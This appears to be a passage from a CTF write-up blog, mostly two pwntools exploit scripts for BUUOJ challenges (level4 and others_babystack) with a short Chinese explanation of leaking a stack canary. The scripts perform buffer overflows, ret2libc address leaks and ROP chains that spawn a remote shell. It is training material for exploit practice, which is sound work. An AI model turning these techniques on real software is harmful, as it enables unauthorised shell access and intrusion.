from pwn import *
from LibcSearcher import *

context(os = "linux",arch = "i386",log_level = "debug")

host = "node5.buuoj.cn"
port = 28791

io = remote(host,port)
# io = process("./level4")
elf = ELF("./level4")
libc = ELF("./libc-2.23.so")
offset = 0x8c
main_addr = elf.sym['main']    # main	08048484	
write_got = elf.got['write']
write_plt = elf.plt['write']

def main():
    payload_1 = b'A'*offset + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4)
    io.sendline(payload_1)
    leak_data = io.recvn(4) 
    write_addr = u32(leak_data)
    print("\n[+] Leak write address:",hex(write_addr))
    libc_base = write_addr - libc.sym['write']
    system = libc_base + libc.sym['system']
    binsh = libc_base + next(libc.search(b"/bin/sh"))
    print("\n[+] Leak libc base address:",hex(libc_base))
    print("\n[+] Leak system address:",hex(system))
    print("\n[+] Leak binsh address:",hex(binsh))
    payload_2 = b'A'*offset + p32(system) + p32(main_addr) + p32(binsh)
    io.sendline(payload_2)
    io.interactive()

if __name__ == "__main__":
    main()

others_babystack

题目链接

首先泄露 canary,canary 前两位是 \x00 截断了输出,我们用 A 覆盖它。

e18249248ac6e91dd1429cfafe26720f

把 canary 填上之后就是轻松的 ROP 链了。

注意 ROP 链需要 ret 来引爆,刚好 opt=3 是 return 0.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
# written by Sonnety
from pwn import *
context(os = 'linux',arch = 'amd64',log_level = 'debug')
context.terminal = ['tmux', 'splitw', '-h']

host = "node5.buuoj.cn"
port = 28356
io = remote(host,port)
# io = process("./babystack")
elf = ELF("./babystack")
libc = ELF("./libc-2.23.so")
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = 0x400908
pop_rdi_ret = 0x400a93
ret = 0x400a94

def main():
    io.recvuntil(b">> ")
    # print("\n[+] Leak puts GOT address :",hex(puts_got))
    io.sendline(b"1")
    sleep(0.1)
    payload = b'A'*0x84 + b"meow" + b'A'
    io.send(payload)
    io.recvuntil(b">> ")
    io.sendline(b"2")
    io.recvuntil(b"meowA")
    leak_data = io.recvn(7)
    leak_data = leak_data.rjust(8,b"\x00")
    canary = u64(leak_data)
    print("\n[+] Leak canary :",hex(canary))
    io.recvuntil(b">> ")
    io.sendline(b"1")
    sleep(0.1)
    payload_1 = b'B'*0X88 + p64(canary) + b"B"*8 + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
    # gdb.attach(io,"b *0x4009DD\nc")
    # pause()
    io.send(payload_1)
    io.recvuntil(b">> ")
    io.sendline(b"3")
    leak_data = io.recvline().strip(b'\n').ljust(8,b'\x00')
    # print("\n[*] DEBUG: leak data = ",leak_data)
    puts_addr = u64(leak_data)
    print("\n[+] Leak puts address :",hex(puts_addr))
    libc_base = puts_addr - libc.sym['puts']
    print("\n[+] Leak libc base address :",hex(libc_base))
    system = libc_base + libc.sym['system']
    print("\n[+] Leak system address :",hex(system))
    binsh = libc_base + next(libc.search("/bin/sh"))
    print("\n[+] Leak /bin/sh address :",hex(binsh))
    io.sendline(b"1")
    sleep(0.1)
    payload_2 = b'C'*0x88 + p64(canary) + b"C"*8 + p64(pop_rdi_ret) + p64(binsh) + p64(system) + p64(0)
    io.send(payload_2)
    io.recvuntil(b">> ")
    io.sendline(b"3")
    io.interactive()

if __name__ == "__main__":
    main()
Licensed under CC BY-NC-SA 4.0